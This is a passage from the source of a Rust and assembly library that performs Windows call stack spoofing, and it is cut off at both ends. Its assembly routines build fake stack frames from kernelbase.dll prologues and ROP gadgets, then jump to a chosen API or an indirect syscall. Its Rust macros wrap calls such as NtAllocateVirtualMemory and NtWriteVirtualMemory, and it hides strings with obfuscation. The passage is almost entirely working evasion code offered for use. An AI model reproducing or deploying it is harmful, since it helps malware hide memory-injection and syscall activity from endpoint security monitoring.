[r13 + 50h], r10 210 | 211 | skip_10: 212 | ; Arg11 213 | cmp rax, 11 214 | jb skip_11 215 | mov r10, [r12 + Config.Arg11] 216 | mov [r13 + 58h], r10 217 | 218 | skip_11: 219 | cmp BYTE [r12 + Config.IsSyscall], 1 220 | je ExecuteSyscallSynthetic 221 | 222 | jmp ExecuteSynthetic 223 | 224 | ;; 225 | ;; Restores the original stack frame 226 | ;; 227 | RestoreSynthetic: 228 | mov rsp, rbp 229 | add QWORD rsp, 210h 230 | pop QWORD r15 231 | pop QWORD rbx 232 | pop QWORD rbp 233 | ret 234 | 235 | ;; 236 | ;; Executes the target function 237 | ;; 238 | ExecuteSynthetic: 239 | jmp r11 240 | 241 | ;; 242 | ;; Executes a native Windows system call using the spoofed context 243 | ;; 244 | ExecuteSyscallSynthetic: 245 | mov r10, rcx 246 | mov eax, DWORD [r12 + Config.Ssn] 247 | jmp r11 -------------------------------------------------------------------------------- /src/asm/msvc/desync.asm: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; Code responsible for Call Stack Spoofing Via Desync (MASM) 3 | ;; 4 | 5 | ;; 6 | ;; Export 7 | ;; 8 | Spoof proto 9 | 10 | .data 11 | 12 | ;; 13 | ;; Configuration structure passed to the spoof ASM routine 14 | ;; 15 | Config STRUCT 16 | RtlUserThreadStartAddr DQ 1 17 | RtlUserThreadStartFrameSize DQ 1 18 | 19 | BaseThreadInitThunkAddr DQ 1 20 | BaseThreadInitThunkFrameSize DQ 1 21 | 22 | FirstFrame DQ 1 23 | SecondFrame DQ 1 24 | JmpRbxGadget DQ 1 25 | AddRspXGadget DQ 1 26 | 27 | FirstFrameSize DQ 1 28 | SecondFrameSize DQ 1 29 | JmpRbxGadgetFrameSize DQ 1 30 | AddRspXGadgetFrameSize DQ 1 31 | 32 | RbpOffset DQ 1 33 | 34 | SpooFunction DQ 1 35 | ReturnAddress DQ 1 36 | 37 | IsSyscall DD 0 38 | Ssn DD 0 39 | 40 | NArgs DQ 1 41 | Arg01 DQ 1 42 | Arg02 DQ 1 43 | Arg03 DQ 1 44 | Arg04 DQ 1 45 | Arg05 DQ 1 46 | Arg06 DQ 1 47 | Arg07 DQ 1 48 | Arg08 DQ 1 49 | Arg09 DQ 1 50 | Arg10 DQ 1 51 | Arg11 DQ 1 52 | Config ENDS 53 | 54 | .code 55 | 56 | ;; 57 | ;; Function responsible for Call Stack Spoofing 58 | ;; 59 | Spoof PROC 60 | ;; 61 | ;; Saving non-vol registers 62 | ;; 63 | push rbp 64 | push rbx 65 | 66 | ;; 67 | ;; Return main 68 | ;; 69 | mov rbp, rsp 70 | 71 | ;; 72 | ;; Creating stack pointer to Restore PROC 73 | ;; 74 | lea rax, Restore 75 | push rax 76 | lea rbx, [rsp] 77 | 78 | ;; 79 | ;; First Frame (Fake origin) 80 | ;; 81 | push [rcx].Config.FirstFrame 82 | 83 | mov rax, [rcx].Config.ReturnAddresS 84 | sub rax, [rcx].Config.FirstFrameSize 85 | 86 | sub rsp, [rcx].Config.SecondFrameSize 87 | mov r10, [rcx].Config.RbpOffset 88 | mov [rsp + r10], rax 89 | 90 | ;; 91 | ;; ROP Frames 92 | ;; 93 | push [rcx].Config.SecondFrame 94 | 95 | ;; 96 | ;; JMP [RBX] Gadget / Stack Pivot (To restore original Control Flow Stack) 97 | ;; 98 | sub rsp, [rcx].Config.JmpRbxGadgetFrameSize 99 | push [rcx].Config.JmpRbxGadget 100 | 101 | sub rsp, [rcx].Config.AddRspXGadgetFrameSize 102 | push [rcx].Config.AddRspXGadget 103 | 104 | ;; 105 | ;; Set the pointer to the function to call in R11 106 | ;; 107 | mov r11, [rcx].Config.SpooFunction 108 | jmp Parameters 109 | Spoof ENDP 110 | 111 | ;; 112 | ;; Set the parameters to pass to the target function 113 | ;; 114 | Parameters PROC 115 | mov r12, rcx 116 | mov rax, [r12].Config.NArgs 117 | 118 | ; Arg01 (rcx) 119 | cmp rax, 1 120 | jb skip_1 121 | mov rcx, [r12].Config.Arg01 122 | 123 | skip_1: 124 | ; Arg02 (rdx) 125 | cmp rax, 2 126 | jb skip_2 127 | mov rdx, [r12].Config.Arg02 128 | 129 | skip_2: 130 | ; Arg03 (r8) 131 | cmp rax, 3 132 | jb skip_3 133 | mov r8, [r12].Config.Arg03 134 | 135 | skip_3: 136 | ; Arg04 (r9) 137 | cmp rax, 4 138 | jb skip_4 139 | mov r9, [r12].Config.Arg04 140 | 141 | skip_4: 142 | ; Stack-based args 143 | lea r13, [rsp] 144 | 145 | cmp rax, 5 146 | jb skip_5 147 | mov r10, [r12].Config.Arg05 148 | mov [r13 + 28h], r10 149 | 150 | skip_5: 151 | ; Arg06 152 | cmp rax, 6 153 | jb skip_6 154 | mov r10, [r12].Config.Arg06 155 | mov [r13 + 30h], r10 156 | 157 | skip_6: 158 | ; Arg07 159 | cmp rax, 7 160 | jb skip_7 161 | mov r10, [r12].Config.Arg07 162 | mov [r13 + 38h], r10 163 | 164 | skip_7: 165 | ; Arg08 166 | cmp rax, 8 167 | jb skip_8 168 | mov r10, [r12].Config.Arg08 169 | mov [r13 + 40h], r10 170 | 171 | skip_8: 172 | ; Arg09 173 | cmp rax, 9 174 | jb skip_9 175 | mov r10, [r12].Config.Arg09 176 | mov [r13 + 48h], r10 177 | 178 | skip_9: 179 | ; Arg10 180 | cmp rax, 10 181 | jb skip_10 182 | mov r10, [r12].Config.Arg10 183 | mov [r13 + 50h], r10 184 | 185 | skip_10: 186 | ; Arg11 187 | cmp rax, 11 188 | jb skip_11 189 | mov r10, [r12].Config.Arg11 190 | mov [r13 + 58h], r10 191 | 192 | skip_11: 193 | cmp [r12].Config.IsSyscall, 1 194 | je ExecuteSyscall 195 | 196 | jmp Execute 197 | Parameters ENDP 198 | 199 | ;; 200 | ;; Restores the original stack frame 201 | ;; 202 | Restore PROC 203 | mov rsp, rbp 204 | pop rbx 205 | pop rbp 206 | ret 207 | Restore ENDP 208 | 209 | ;; 210 | ;; Executes the target function 211 | ;; 212 | Execute PROC 213 | jmp QWORD PTR r11 214 | Execute ENDP 215 | 216 | ;; 217 | ;; Executes a native Windows system call using the spoofed context 218 | ;; 219 | ExecuteSyscall PROC 220 | mov r10, rcx 221 | mov eax, [r12].Config.Ssn 222 | jmp QWORD PTR r11 223 | ExecuteSyscall ENDP 224 | 225 | END -------------------------------------------------------------------------------- /src/asm/msvc/synthetic.asm: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; Code responsible for Call Stack Spoofing Via Synthetic (MASM) 3 | ;; 4 | 5 | ;; 6 | ;; Export 7 | ;; 8 | SpoofSynthetic proto 9 | 10 | .data 11 | 12 | ;; 13 | ;; Configuration structure passed to the spoof ASM routine 14 | ;; 15 | Config STRUCT 16 | RtlUserThreadStartAddr DQ 1 17 | RtlUserThreadStartFrameSize DQ 1 18 | 19 | BaseThreadInitThunkAddr DQ 1 20 | BaseThreadInitThunkFrameSize DQ 1 21 | 22 | FirstFrame DQ 1 23 | SecondFrame DQ 1 24 | JmpRbxGadget DQ 1 25 | AddRspXGadget DQ 1 26 | 27 | FirstFrameSize DQ 1 28 | SecondFrameSize DQ 1 29 | JmpRbxGadgetFrameSize DQ 1 30 | AddRspXGadgetFrameSize DQ 1 31 | 32 | RbpOffset DQ 1 33 | 34 | SpooFunction DQ 1 35 | ReturnAddress DQ 1 36 | 37 | IsSyscall DD 0 38 | Ssn DD 0 39 | 40 | NArgs DQ 1 41 | Arg01 DQ 1 42 | Arg02 DQ 1 43 | Arg03 DQ 1 44 | Arg04 DQ 1 45 | Arg05 DQ 1 46 | Arg06 DQ 1 47 | Arg07 DQ 1 48 | Arg08 DQ 1 49 | Arg09 DQ 1 50 | Arg10 DQ 1 51 | Arg11 DQ 1 52 | Config ENDS 53 | 54 | .code 55 | 56 | ;; 57 | ;; Function responsible for Call Stack Spoofing 58 | ;; 59 | SpoofSynthetic PROC 60 | ;; 61 | ;; Saving non-vol registers 62 | ;; 63 | push rbp 64 | push rbx 65 | push r15 66 | 67 | ;; 68 | ;; Everything between RSP and RBP is our new stack frame for unwinding 69 | ;; 70 | sub rsp, 210h 71 | mov rbp, rsp 72 | 73 | ;; 74 | ;; Creating stack pointer to Restore PROC 75 | ;; 76 | lea rax, RestoreSynthetic 77 | push rax 78 | lea rbx, [rsp] 79 | 80 | ;; 81 | ;; Cutting the call stack. The 0 pushed in this position will be the return address 82 | ;; of the next frame "RtlUserThreadStart", making it effectively the originating function 83 | ;; 84 | xor rax, rax 85 | push rax 86 | 87 | ;; 88 | ;; RtlUserThreadStart 89 | ;; 90 | sub rsp, [rcx].Config.RtlUserThreadStartFrameSize 91 | push [rcx].Config.RtlUserThreadStartAddr 92 | add QWORD PTR [rsp], 21h 93 | 94 | ;; 95 | ;; BaseThreadInitThunk 96 | ;; 97 | sub rsp, [rcx].Config.BaseThreadInitThunkFrameSize 98 | push [rcx].Config.BaseThreadInitThunkAddr 99 | add QWORD PTR [rsp], 14h 100 | 101 | ;; 102 | ;; Return address 103 | ;; 104 | mov rax, rsp 105 | 106 | ;; 107 | ;; First Frame (Fake origin) 108 | ;; 109 | push [rcx].Config.FirstFrame 110 | sub rax, [rcx].Config.FirstFrameSize 111 | 112 | sub rsp, [rcx].Config.SecondFrameSize 113 | mov r10, [rcx].Config.RbpOffset 114 | mov [rsp + r10], rax 115 | 116 | ;; 117 | ;; ROP Frames 118 | ;; 119 | push [rcx].Config.SecondFrame 120 | 121 | ;; 122 | ;; JMP [RBX] Gadget / Stack Pivot (To restore original Control Flow Stack) 123 | ;; 124 | sub rsp, [rcx].Config.JmpRbxGadgetFrameSize 125 | push [rcx].Config.JmpRbxGadget 126 | 127 | sub rsp, [rcx].Config.AddRspXGadgetFrameSize 128 | push [rcx].Config.AddRspXGadget 129 | 130 | ;; 131 | ;; Set the pointer to the function to call in R11 132 | ;; 133 | mov r11, [rcx].Config.SpooFunction 134 | jmp ParametersSynthetic 135 | SpoofSynthetic ENDP 136 | 137 | ;; 138 | ;; Set the parameters to pass to the target function 139 | ;; 140 | ParametersSynthetic PROC 141 | mov r12, rcx 142 | mov rax, [r12].Config.NArgs 143 | 144 | ; Arg01 (rcx) 145 | cmp rax, 1 146 | jb skip_1 147 | mov rcx, [r12].Config.Arg01 148 | 149 | skip_1: 150 | ; Arg02 (rdx) 151 | cmp rax, 2 152 | jb skip_2 153 | mov rdx, [r12].Config.Arg02 154 | 155 | skip_2: 156 | ; Arg03 (r8) 157 | cmp rax, 3 158 | jb skip_3 159 | mov r8, [r12].Config.Arg03 160 | 161 | skip_3: 162 | ; Arg04 (r9) 163 | cmp rax, 4 164 | jb skip_4 165 | mov r9, [r12].Config.Arg04 166 | 167 | skip_4: 168 | ; Stack-based args 169 | lea r13, [rsp] 170 | 171 | cmp rax, 5 172 | jb skip_5 173 | mov r10, [r12].Config.Arg05 174 | mov [r13 + 28h], r10 175 | 176 | skip_5: 177 | ; Arg06 178 | cmp rax, 6 179 | jb skip_6 180 | mov r10, [r12].Config.Arg06 181 | mov [r13 + 30h], r10 182 | 183 | skip_6: 184 | ; Arg07 185 | cmp rax, 7 186 | jb skip_7 187 | mov r10, [r12].Config.Arg07 188 | mov [r13 + 38h], r10 189 | 190 | skip_7: 191 | ; Arg08 192 | cmp rax, 8 193 | jb skip_8 194 | mov r10, [r12].Config.Arg08 195 | mov [r13 + 40h], r10 196 | 197 | skip_8: 198 | ; Arg09 199 | cmp rax, 9 200 | jb skip_9 201 | mov r10, [r12].Config.Arg09 202 | mov [r13 + 48h], r10 203 | 204 | skip_9: 205 | ; Arg10 206 | cmp rax, 10 207 | jb skip_10 208 | mov r10, [r12].Config.Arg10 209 | mov [r13 + 50h], r10 210 | 211 | skip_10: 212 | ; Arg11 213 | cmp rax, 11 214 | jb skip_11 215 | mov r10, [r12].Config.Arg11 216 | mov [r13 + 58h], r10 217 | 218 | skip_11: 219 | cmp [r12].Config.IsSyscall, 1 220 | je ExecuteSyscallSynthetic 221 | 222 | jmp ExecuteSynthetic 223 | ParametersSynthetic ENDP 224 | 225 | ;; 226 | ;; Restores the original stack frame 227 | ;; 228 | RestoreSynthetic PROC 229 | mov rsp, rbp 230 | add rsp, 210h 231 | pop r15 232 | pop rbx 233 | pop rbp 234 | ret 235 | RestoreSynthetic ENDP 236 | 237 | ;; 238 | ;; Executes the target function 239 | ;; 240 | ExecuteSynthetic PROC 241 | jmp QWORD PTR r11 242 | ExecuteSynthetic ENDP 243 | 244 | ;; 245 | ;; Executes a native Windows system call using the spoofed context 246 | ;; 247 | ExecuteSyscallSynthetic PROC 248 | mov r10, rcx 249 | mov eax, [r12].Config.Ssn 250 | jmp QWORD PTR r11 251 | ExecuteSyscallSynthetic ENDP 252 | 253 | END -------------------------------------------------------------------------------- /src/data.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case, non_camel_case_types)] 2 | 3 | use core::ffi::c_void; 4 | 5 | /// Indicates the presence of an exception handler in the function. 6 | pub const UNW_FLAG_EHANDLER: u8 = 0x1; 7 | 8 | /// Indicates chained unwind information is present. 9 | pub const UNW_FLAG_CHAININFO: u8 = 0x4; 10 | 11 | /// Directory entry index for exception data in the PE header. 12 | pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: usize = 3; 13 | 14 | /// Configuration structure passed to the spoof ASM routine. 15 | #[repr(C)] 16 | #[derive(Debug)] 17 | pub struct Config { 18 | /// Address RtlUserThreadStart 19 | pub rtl_user_addr: *const c_void, 20 | 21 | /// Stack Size RtlUserThreadStart 22 | pub rtl_user_thread_size: u64, 23 | 24 | /// Address BaseThreadInitThunk 25 | pub base_thread_addr: *const c_void, 26 | 27 | /// Stack Size BaseThreadInitThunk 28 | pub base_thread_size: u64, 29 | 30 | /// First (fake) return address frame 31 | pub first_frame_fp: *const c_void, 32 | 33 | /// Second (ROP) return address frame 34 | pub second_frame_fp: *const c_void, 35 | 36 | /// Gadget: `jmp [rbx]` 37 | pub jmp_rbx_gadget: *const c_void, 38 | 39 | /// Gadget: `add rsp, X; ret` 40 | pub add_rsp_gadget: *const c_void, 41 | 42 | /// Stack size of first spoofed frame 43 | pub first_frame_size: u64, 44 | 45 | /// Stack size of second spoofed frame 46 | pub second_frame_size: u64, 47 | 48 | /// Stack frame size where the `jmp [rbx]` gadget resides 49 | pub jmp_rbx_frame_size: u64, 50 | 51 | /// Stack frame size where the `add rsp, X` gadget resides 52 | pub add_rsp_frame_size: u64, 53 | 54 | /// Offset on the stack where `rbp` is pushed 55 | pub rbp_stack_offset: u64, 56 | 57 | /// The function to be spoofed / called 58 | pub spoof_function: *const c_void, 59 | 60 | /// Return address (used as stack-resume point after call) 61 | pub return_address: *const c_void, 62 | 63 | /// Checks if the target is a syscall 64 | pub is_syscall: u32, 65 | 66 | /// System Service Number (SSN) 67 | pub ssn: u16, 68 | 69 | /// Arguments that will be passed to the function that will be spoofed 70 | pub number_args: u32, 71 | pub arg01: *const c_void, 72 | pub arg02: *const c_void, 73 | pub arg03: *const c_void, 74 | pub arg04: *const c_void, 75 | pub arg05: *const c_void, 76 | pub arg06: *const c_void, 77 | pub arg07: *const c_void, 78 | pub arg08: *const c_void, 79 | pub arg09: *const c_void, 80 | pub arg10: *const c_void, 81 | pub arg11: *const c_void, 82 | } 83 | 84 | impl Default for Config { 85 | fn default() -> Self { 86 | unsafe { core::mem::zeroed() } 87 | } 88 | } 89 | 90 | /// Enumeration of x86_64 general-purpose registers. 91 | /// 92 | /// Used in unwind parsing or register mapping logic. 93 | #[derive(Debug, Clone, Copy)] 94 | #[repr(u8)] 95 | #[allow(dead_code)] 96 | pub enum Registers { 97 | RAX = 0, 98 | RCX, 99 | RDX, 100 | RBX, 101 | RSP, 102 | RBP, 103 | RSI, 104 | RDI, 105 | R8, 106 | R9, 107 | R10, 108 | R11, 109 | R12, 110 | R13, 111 | R14, 112 | R15 113 | } 114 | 115 | impl PartialEq for Registers { 116 | fn eq(&self, other: &usize) -> bool { 117 | *self as usize == *other 118 | } 119 | } 120 | 121 | /// Represents a runtime function entry in the exception directory. 122 | /// 123 | /// This structure is used in stack unwinding and maps code ranges to unwind metadata. 124 | #[repr(C)] 125 | #[derive(Copy, Clone, Default, Debug)] 126 | pub struct IMAGE_RUNTIME_FUNCTION { 127 | /// Start address (RVA) of the function. 128 | pub BeginAddress: u32, 129 | 130 | /// End address (RVA) of the function. 131 | pub EndAddress: u32, 132 | 133 | /// RVA of the associated `UNWIND_INFO`. 134 | pub UnwindData: u32 135 | } 136 | 137 | /// Union representing a single unwind operation code. 138 | /// 139 | /// May store either a direct frame offset or structured subfields. 140 | #[repr(C)] 141 | pub union UNWIND_CODE { 142 | /// Offset into the stack frame for the operation. 143 | pub FrameOffset: u16, 144 | 145 | /// Structured fields of the unwind code. 146 | pub Anonymous: UNWIND_CODE_0, 147 | } 148 | 149 | bitfield::bitfield! { 150 | /// Bitfield representation of an unwind code entry. 151 | /// 152 | /// Combines the `UnwindOp` (operation) and `OpInfo` (details), as well as 153 | /// the `CodeOffset` where the operation occurs. 154 | #[repr(C)] 155 | #[derive(Debug, Clone, Copy)] 156 | pub struct UNWIND_CODE_0(u16); 157 | 158 | /// Byte offset from the start of the prologue where this operation is applied. 159 | pub u8, CodeOffset, SetCodeOffset: 7, 0; 160 | 161 | /// The unwind operation code (e.g., `UWOP_PUSH_NONVOL`). 162 | pub u8, UnwindOp, SetUnwindOp: 11, 8; 163 | 164 | /// Additional operation-specific information. 165 | pub u8, OpInfo, SetOpInfo: 15, 12; 166 | } 167 | 168 | /// Union representing optional exception handler or chained function entry. 169 | #[repr(C)] 170 | pub union UNWIND_INFO_0 { 171 | /// Address of the exception handler (RVA). 172 | pub ExceptionHandler: u32, 173 | 174 | /// Address of a chained function entry (for nested functions). 175 | pub FunctionEntry: u32 176 | } 177 | 178 | bitfield::bitfield! { 179 | /// Combines the `Version` and `Flags` fields in a compact format. 180 | /// 181 | /// Stored as a single byte in `UNWIND_INFO`. 182 | #[repr(C)] 183 | #[derive(Debug, Clone, Copy)] 184 | pub struct UNWIND_VERSION_FLAGS(u8); 185 | 186 | /// Unwind info format version (3 bits). 187 | pub u8, Version, SetVersion: 2, 0; 188 | 189 | /// Unwind flags (5 bits). 190 | pub u8, Flags, SetFlags: 7, 3; 191 | } 192 | 193 | bitfield::bitfield! { 194 | /// Compact representation of frame register and offset fields. 195 | /// 196 | /// Used for establishing frame base registers during unwinding. 197 | #[repr(C)] 198 | #[derive(Debug, Clone, Copy)] 199 | pub struct UNWIND_FRAME_INFO(u8); 200 | 201 | /// The register used as the frame pointer (if any). 202 | pub u8, FrameRegister, SetFrameRegister: 3, 0; 203 | 204 | /// Offset from the stack pointer to the frame pointer (in 16-byte units). 205 | pub u8, FrameOffset, SetFrameOffset: 7, 4; 206 | } 207 | 208 | /// Structure containing the unwind information of a function. 209 | #[repr(C)] 210 | pub struct UNWIND_INFO { 211 | /// Separate structure containing `Version` and `Flags`. 212 | pub VersionFlags: UNWIND_VERSION_FLAGS, 213 | 214 | /// Size of the function prologue in bytes. 215 | pub SizeOfProlog: u8, 216 | 217 | /// Number of non-array `UnwindCode` entries. 218 | pub CountOfCodes: u8, 219 | 220 | /// Separate structure containing `FrameRegister` and `FrameOffset`. 221 | pub FrameInfo: UNWIND_FRAME_INFO, 222 | 223 | /// Array of unwind codes describing specific operations. 224 | pub UnwindCode: UNWIND_CODE, 225 | 226 | /// Union containing `ExceptionHandler` or `FunctionEntry`. 227 | pub Anonymous: UNWIND_INFO_0, 228 | 229 | /// Optional exception data. 230 | pub ExceptionData: u32, 231 | } 232 | 233 | /// Unwind operation codes used by the Windows x64 exception handling model. 234 | /// 235 | /// For full details, refer to Microsoft documentation: 236 | /// https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64 237 | #[repr(u8)] 238 | #[allow(dead_code)] 239 | pub enum UNWIND_OP_CODES { 240 | UWOP_PUSH_NONVOL = 0, 241 | UWOP_ALLOC_LARGE = 1, 242 | UWOP_ALLOC_SMALL = 2, 243 | UWOP_SET_FPREG = 3, 244 | UWOP_SAVE_NONVOL = 4, 245 | UWOP_SAVE_NONVOL_BIG = 5, 246 | UWOP_EPILOG = 6, 247 | UWOP_SPARE_CODE = 7, 248 | UWOP_SAVE_XMM128 = 8, 249 | UWOP_SAVE_XMM128BIG = 9, 250 | UWOP_PUSH_MACH_FRAME = 10, 251 | } 252 | 253 | impl TryFrom for UNWIND_OP_CODES { 254 | type Error = (); 255 | 256 | fn try_from(value: u8) -> Result { 257 | match value { 258 | 0..=10 => Ok(unsafe { core::mem::transmute(value) }), 259 | _ => Err(()), 260 | } 261 | } 262 | } -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | #![doc = include_str!("../README.md")] 3 | 4 | extern crate alloc; 5 | 6 | mod data; 7 | mod uwd; 8 | mod utils; 9 | pub use uwd::*; 10 | -------------------------------------------------------------------------------- /src/utils.rs: -------------------------------------------------------------------------------- 1 | /// Randomly shuffles the elements of a mutable slice in-place using a pseudo-random 2 | /// number generator seeded by the CPU's timestamp counter (`rdtsc`). 3 | /// 4 | /// The shuffling algorithm is a variant of the Fisher-Yates shuffle. 5 | /// 6 | /// # Arguments 7 | /// 8 | /// * `list` — A mutable slice of elements to be shuffled. 9 | pub fn shuffle(list: &mut [T]) { 10 | let mut seed = rdtsc(); 11 | for i in (1..list.len()).rev() { 12 | seed = seed.wrapping_mul(1103515245).wrapping_add(12345); 13 | let j = seed as usize % (i + 1); 14 | list.swap(i, j); 15 | } 16 | } 17 | 18 | /// Reads the CPU's time-stamp counter using the `rdtsc` instruction, which returns the 19 | /// number of cycles since the last reset. 20 | /// 21 | /// This can be used as a fast, low-quality entropy source for seeding simple randomization routines. 22 | /// 23 | /// # Returns 24 | /// 25 | /// * The 64-bit timestamp value combining the contents of EDX:EAX registers. 26 | #[inline(always)] 27 | fn rdtsc() -> u64 { 28 | unsafe { 29 | let mut low: u32; 30 | let mut high: u32; 31 | core::arch::asm!("rdtsc", out("eax") low, out("edx") high); 32 | ((high as u64) << 32) | (low as u64) 33 | } 34 | } -------------------------------------------------------------------------------- /src/uwd.rs: -------------------------------------------------------------------------------- 1 | use alloc::vec::Vec; 2 | use obfstr::obfstr as s; 3 | use obfstr::obfbytes as b; 4 | use core::{ffi::c_void, slice::from_raw_parts}; 5 | use crate::utils::shuffle; 6 | use dinvk::{ 7 | GetModuleHandle, GetProcAddress, 8 | __readgsqword 9 | }; 10 | use dinvk::{ 11 | parse::get_nt_header, 12 | data::TEB 13 | }; 14 | use crate::data::{ 15 | Registers, IMAGE_DIRECTORY_ENTRY_EXCEPTION, 16 | IMAGE_RUNTIME_FUNCTION, UNWIND_CODE, Config, 17 | UNWIND_INFO, UNWIND_OP_CODES::{self, *}, 18 | UNW_FLAG_CHAININFO, UNW_FLAG_EHANDLER 19 | }; 20 | 21 | extern "C" { 22 | /// Function responsible for Call Stack Spoofing (Desync) 23 | fn Spoof(config: &mut Config) -> *mut c_void; 24 | 25 | /// Function responsible for Call Stack Spoofing (Synthetic) 26 | fn SpoofSynthetic(config: &mut Config) -> *mut c_void; 27 | } 28 | 29 | /// Specifies the type of spoof being performed: either a normal function call 30 | /// or a native syscall resolved by name. 31 | pub enum SpoofKind { 32 | /// Spoofs a call to a regular function pointer (e.g. a Windows API) 33 | Function, 34 | 35 | /// Spoofs a native system call using its name (e.g. `"NtAllocateVirtualMemory"`). 36 | Syscall(&'static str) 37 | } 38 | 39 | /// Invokes the [`Uwd::spoof`] function with the target function address, using a desynchronized call stack. 40 | /// 41 | /// # Arguments 42 | /// 43 | /// - `$addr`: A pointer to the function to spoof-call (typically a Windows API) 44 | /// - `$arg`: A list of arguments to be passed to the spoofed function (up to 11 maximum) 45 | #[macro_export] 46 | macro_rules! spoof { 47 | ($addr:expr, $($arg:expr),+ $(,)?) => { 48 | $crate::Uwd::spoof( 49 | $addr, 50 | unsafe { 51 | &[$(::core::mem::transmute($arg as usize)),*] 52 | }, 53 | $crate::SpoofKind::Function 54 | ) 55 | }; 56 | } 57 | 58 | /// Wraps a native Windows syscall using [`Uwd::spoof`] with desynchronized stack spoofing. 59 | /// 60 | /// # Arguments 61 | /// 62 | /// - `$name`: The name of the syscall as a string literal (e.g. `"NtWriteVirtualMemory"`). 63 | /// - `$arg`: A list of arguments to be passed to the spoofed function (up to 11 maximum) 64 | #[macro_export] 65 | macro_rules! syscall { 66 | ($name:literal, $($arg:expr),* $(,)?) => { 67 | $crate::Uwd::spoof( 68 | null_mut(), 69 | unsafe { 70 | &[$(::core::mem::transmute($arg as usize)),*] 71 | }, 72 | $crate::SpoofKind::Syscall($name) 73 | ) 74 | }; 75 | } 76 | 77 | /// Invokes the [`Uwd::spoof_synthetic`] function using a synthetic stack layout. 78 | /// 79 | /// # Arguments 80 | /// 81 | /// - `$addr`: A pointer to the function to spoof-call (typically a Windows API) 82 | /// - `$arg`: A list of arguments to be passed to the spoofed function (up to 11 maximum) 83 | #[macro_export] 84 | macro_rules! spoof_synthetic { 85 | ($addr:expr, $($arg:expr),+ $(,)?) => { 86 | $crate::Uwd::spoof_synthetic( 87 | $addr, 88 | unsafe { 89 | &[$(::core::mem::transmute($arg as usize)),*] 90 | }, 91 | $crate::SpoofKind::Function 92 | ) 93 | }; 94 | } 95 | 96 | /// Wraps a native Windows syscall using [`Uwd::spoof_synthetic`] with a simulated stack layout. 97 | /// 98 | /// # Arguments 99 | /// 100 | /// - `$name`: The name of the syscall as a string literal (e.g. `"NtWriteVirtualMemory"`). 101 | /// - `$arg`: A list of arguments to be passed to the spoofed function (up to 11 maximum) 102 | #[macro_export] 103 | macro_rules! syscall_synthetic { 104 | ($name:literal, $($arg:expr),* $(,)?) => { 105 | $crate::Uwd::spoof_synthetic( 106 | null_mut(), 107 | unsafe { 108 | &[$(::core::mem::transmute($arg as usize)),*] 109 | }, 110 | $crate::SpoofKind::Syscall($name) 111 | ) 112 | }; 113 | } 114 | 115 | /// Represents metadata extracted from a function's prologue used for call stack spoofing. 116 | #[derive(Copy, Clone)] 117 | struct Prolog { 118 | /// Address of the function's entry point or relevant instruction 119 | frame: u64, 120 | 121 | /// Total stack space reserved by the function (in bytes) 122 | stack_size: u32, 123 | 124 | /// Offset inside the function where a specific instruction pattern is found 125 | offset: u32, 126 | 127 | /// Offset in the stack where `rbp` is pushed (used for spoofing restoration) 128 | rbp_offset: u32, 129 | } 130 | 131 | /// Root structure responsible for setting up and orchestrating the call stack spoofing process. 132 | pub struct Uwd; 133 | 134 | impl Uwd { 135 | /// Sets up and triggers call stack spoofing using a crafted stack layout and gadgets. 136 | /// 137 | /// This method reuses the current thread's stack by locating a return address that points to 138 | /// `BaseThreadInitThunk`. From there, it builds a fake call stack using real prologues and ROP 139 | /// gadgets, making the spoofed call appear legitimate to Windows' unwinder. 140 | /// 141 | /// # Arguments 142 | /// 143 | /// * `addr` - Target function pointer. Can be `null` if `kind` is `SpoofKind::Syscall`. 144 | /// * `args` - Up to 11 arguments that will be passed to the target, cast as `*const c_void`. 145 | /// * `kind` - The spoofing mode: 146 | /// - [`SpoofKind::Function`]: Directly call a function using the spoofed call stack. 147 | /// - [`SpoofKind::Syscall`]: Resolve and invoke a Windows syscall via its shadow stub. 148 | /// 149 | /// # Returns 150 | /// 151 | /// * `Some(*mut c_void)` — If spoofing was successful and the function was called. 152 | /// * `None` — If any required setup step failed (e.g. prolog not found, gadget missing). 153 | pub fn spoof(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Option<*mut c_void> { 154 | // Max 11 arguments allowed 155 | if args.len() > 11 { 156 | return None; 157 | } 158 | 159 | // Prevent calling a null function unless it's a syscall 160 | if let SpoofKind::Function = kind { 161 | if addr.is_null() { 162 | return None; 163 | } 164 | } 165 | 166 | // Preparing the `Config` structure for spoofing 167 | let mut config = Config::default(); 168 | 169 | // Get the base address of kernelbase.dll and extract the exception directory. 170 | let kernelbase = GetModuleHandle(s!("kernelbase.dll"), None); 171 | let (runtime_table, runtime_size) = get_exception_addr(kernelbase)?; 172 | 173 | // Locate a return address from BaseThreadInitThunk on the current stack. 174 | config.return_address = Self::find_base_thread_return_address()? as *const c_void; 175 | 176 | // Parse the IMAGE_RUNTIME_FUNCTION table into usable Rust slices. 177 | let tables = unsafe { from_raw_parts(runtime_table, runtime_size as usize / size_of::()) }; 178 | 179 | // First frame: a normal function with a clean prologue 180 | let first_prolog = Self::find_prolog(kernelbase, tables)?; 181 | config.first_frame_fp = (first_prolog.frame + first_prolog.offset as u64) as *const c_void; 182 | config.first_frame_size = first_prolog.stack_size as u64; 183 | 184 | // Second frame: looks specifically for a prologue with `push rbp`. 185 | let second_prolog = Self::find_push_rbp(kernelbase, tables)?; 186 | config.second_frame_fp = (second_prolog.frame + second_prolog.offset as u64) as *const c_void; 187 | config.second_frame_size = second_prolog.stack_size as u64; 188 | config.rbp_stack_offset = second_prolog.rbp_offset as u64; 189 | 190 | // Find a gadget `add rsp, 0x58; ret`. 191 | let (add_rsp_addr, size) = Self::find_gadget(kernelbase, b!(&[0x48, 0x83, 0xC4, 0x58, 0xC3]), tables)?; 192 | config.add_rsp_gadget = add_rsp_addr as *const c_void; 193 | config.add_rsp_frame_size = size as u64; 194 | 195 | // Find a gadget that performs `jmp rbx` - to restore the original call. 196 | let (jmp_rbx_addr, size) = Self::find_gadget(kernelbase, b!(&[0xFF, 0x23]), tables)?; 197 | config.jmp_rbx_gadget = jmp_rbx_addr as *const c_void; 198 | config.jmp_rbx_frame_size = size as u64; 199 | 200 | // Preparing arguments 201 | let len = args.len(); 202 | config.number_args = len as u32; 203 | if len > 0 { config.arg01 = args[0]; } 204 | if len > 1 { config.arg02 = args[1]; } 205 